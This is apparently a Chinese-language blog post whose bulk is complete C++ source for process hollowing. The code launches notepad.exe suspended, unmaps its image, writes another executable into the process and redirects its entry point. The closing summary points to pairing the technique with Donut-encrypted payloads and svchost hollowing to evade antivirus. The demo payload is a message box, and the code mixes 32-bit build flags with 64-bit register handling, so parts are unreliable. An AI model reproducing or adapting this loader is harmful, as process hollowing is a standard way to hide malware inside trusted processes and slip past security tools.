g++ -m32 -o process.exe process.cpp -lntdll -lkernel32 -luser32 -static写了一个内存掏空以及分配可视化脚本:
#include <Windows.h>
#include <iostream>
#include <winnt.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "kernel32.lib")
using namespace std;
// 定义需要的NTAPI函数类型
typedef LONG(NTAPI* pfnZwUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)(
HANDLE ProcessHandle,
DWORD ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
#define ProcessBasicInformation 0
// PROCESS_BASIC_INFORMATION结构(64位)
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PVOID PebBaseAddress; // PEB基地址
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
// PEB_LDR_DATA和LDR_DATA_TABLE_ENTRY(简化版,仅获取ImageBase)
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN SpareBool;
PVOID Mutant;
PVOID ImageBaseAddress; // 进程镜像基地址
PPEB_LDR_DATA Ldr;
// 省略其他字段
} PEB, *PPEB;
int main() {
// 解决中文乱码
SetConsoleOutputCP(65001);
// ==============================================
// 1. 初始化核心变量
// ==============================================
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
// 恶意程序路径(确认路径正确!)
const char* maliciousPath = "C:\\Users\\Administrator\\Desktop\\simple_msg.exe";
HANDLE hMalFile = INVALID_HANDLE_VALUE;
DWORD fileSize = 0;
PVOID pMalMem = NULL;
PVOID pTargetBase = NULL;
// ==============================================
// 2. 创建挂起的记事本进程
// ==============================================
if (!CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED,
NULL, NULL, &si, &pi)) {
cout << "[错误] 创建记事本进程失败,错误码:" << GetLastError() << endl;
system("pause");
return 1;
}
cout << "[成功] 记事本进程创建(挂起),PID:" << pi.dwProcessId << endl;
// ==============================================
// 3. 读取极简弹窗程序到内存
// ==============================================
hMalFile = CreateFileA(maliciousPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hMalFile == INVALID_HANDLE_VALUE) {
cout << "[错误] 打开simple_msg.exe失败,错误码:" << GetLastError() << endl;
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
fileSize = GetFileSize(hMalFile, NULL);
if (fileSize == INVALID_FILE_SIZE) {
cout << "[错误] 获取simple_msg.exe大小失败,错误码:" << GetLastError() << endl;
CloseHandle(hMalFile);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
pMalMem = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pMalMem) {
cout << "[错误] 分配内存失败,错误码:" << GetLastError() << endl;
CloseHandle(hMalFile);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
DWORD bytesRead = 0;
if (!ReadFile(hMalFile, pMalMem, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
cout << "[错误] 读取simple_msg.exe失败,错误码:" << GetLastError() << endl;
CloseHandle(hMalFile);
VirtualFree(pMalMem, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
CloseHandle(hMalFile);
cout << "[成功] simple_msg.exe读取到内存:0x" << hex << pMalMem << dec << endl;
// ==============================================
// 4. 正确获取记事本进程的PE基地址(核心修复)
// ==============================================
// 第一步:获取ProcessBasicInformation
pfnNtQueryInformationProcess NtQueryInformationProcess =
(pfnNtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
if (!NtQueryInformationProcess) {
cout << "[错误] 获取NtQueryInformationProcess失败,错误码:" << GetLastError() << endl;
VirtualFree(pMalMem, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
PROCESS_BASIC_INFORMATION pbi = {0};
ULONG returnLen = 0;
NTSTATUS status = NtQueryInformationProcess(
pi.hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&returnLen
);
if (status != 0) {
cout << "[错误] 查询进程信息失败,NT状态:0x" << hex << status << dec << endl;
VirtualFree(pMalMem, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
// 第二步:从PEB读取ImageBaseAddress
PEB peb = {0};
if (!ReadProcessMemory(
pi.hProcess,
pbi.PebBaseAddress,
&peb,
sizeof(peb),
NULL)) {
cout << "[错误] 读取PEB失败,错误码:" << GetLastError() << endl;
VirtualFree(pMalMem, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
pTargetBase = peb.ImageBaseAddress;
if (!pTargetBase) {
cout << "[错误] 获取PE基地址失败(空指针)" << endl;
VirtualFree(pMalMem, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
cout << "[成功] 记事本PE基地址:0x" << hex << pTargetBase << dec << endl;
// ==============================================
// 5. 掏空记事本内存
// ==============================================
pfnZwUnmapViewOfSection pZwUnmap =
(pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
if (!pZwUnmap) {
cout << "[错误] 获取ZwUnmapViewOfSection失败,错误码:" << GetLastError() << endl;
VirtualFree(pMalMem, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
LONG unmapResult = pZwUnmap(pi.hProcess, pTargetBase);
if (unmapResult != 0) {
cout << "[警告] 掏空内存失败(非致命,继续),NT状态:0x" << hex << unmapResult << dec << endl;
} else {
cout << "[成功] 记事本内存掏空完成" << endl;
}
// ==============================================
// 6. 解析PE并写入记事本进程
// ==============================================
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pMalMem;
if (pDos->e_magic != IMAGE_DOS_SIGNATURE) {
cout << "[错误] simple_msg.exe不是有效的PE文件(DOS头错误)" << endl;
VirtualFree(pMalMem, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pMalMem + pDos->e_lfanew);
if (pNt->Signature != IMAGE_NT_SIGNATURE) {
cout << "[错误] simple_msg.exe不是有效的PE文件(NT头错误)" << endl;
VirtualFree(pMalMem, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
// 分配内存(和弹窗程序基地址一致)
PVOID pHollow = VirtualAllocEx(
pi.hProcess,
pTargetBase,
pNt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!pHollow) {
cout << "[错误] 记事本内存分配失败,错误码:" << GetLastError() << endl;
VirtualFree(pMalMem, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
cout << "[成功] 记事本内存分配完成:0x" << hex << pHollow << dec << endl;
// 写入PE头
if (!WriteProcessMemory(
pi.hProcess,
pTargetBase,
pMalMem,
pNt->OptionalHeader.SizeOfHeaders,
NULL)) {
cout << "[错误] 写入PE头失败,错误码:" << GetLastError() << endl;
VirtualFree(pMalMem, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
// 写入PE节区
for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)(
(BYTE*)pNt + sizeof(IMAGE_NT_HEADERS) + i * sizeof(IMAGE_SECTION_HEADER)
);
if (pSec->SizeOfRawData == 0) continue;
if (!WriteProcessMemory(
pi.hProcess,
(BYTE*)pHollow + pSec->VirtualAddress,
(BYTE*)pMalMem + pSec->PointerToRawData,
pSec->SizeOfRawData,
NULL)) {
cout << "[错误] 写入节区 " << (char*)pSec->Name << " 失败,错误码:" << GetLastError() << endl;
VirtualFree(pMalMem, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
}
cout << "[成功] simple_msg.exe写入记事本进程完成" << endl;
// ==============================================
// 7. 修改入口点并恢复线程
// ==============================================
if (!GetThreadContext(pi.hThread, &ctx)) {
cout << "[错误] 获取线程上下文失败,错误码:" << GetLastError() << endl;
VirtualFree(pMalMem, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
// 64位系统设置Rax为入口点
ctx.Rax = (DWORD64)((BYTE*)pHollow + pNt->OptionalHeader.AddressOfEntryPoint);
if (!SetThreadContext(pi.hThread, &ctx)) {
cout << "[错误] 设置线程上下文失败,错误码:" << GetLastError() << endl;
VirtualFree(pMalMem, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
// 恢复线程执行弹窗
DWORD resumeResult = ResumeThread(pi.hThread);
if (resumeResult == (DWORD)-1) {
cout << "[错误] 恢复线程失败,错误码:" << GetLastError() << endl;
VirtualFree(pMalMem, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
system("pause");
return 1;
}
cout << "[成功] 线程恢复!请查看置顶弹窗..." << endl;
// ==============================================
// 8. 强制等待进程结束
// ==============================================
WaitForSingleObject(pi.hProcess, INFINITE);
cout << "[提示] 弹窗已关闭,记事本进程结束" << endl;
// ==============================================
// 9. 清理资源
// ==============================================
VirtualFree(pMalMem, 0, MEM_RELEASE);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
system("pause");
return 0;
}这段代码仍然存在一些问题,希望有大佬可以指出。
编译指令:
g++ -m64 -o simple_msg.exe simple_msg.cpp -mwindows -static -luser32运行结果如下:
此时已经成功的打开了simple_msg.exe程序:
且已经把notepad的内存掏空。
利用Donut将EXE转加密BIN绕过静态检测,结合ClickLoader执行及svchost空心化注入实现动态免杀。
由 AI 根据全文自动生成,仅供参考,以原文为准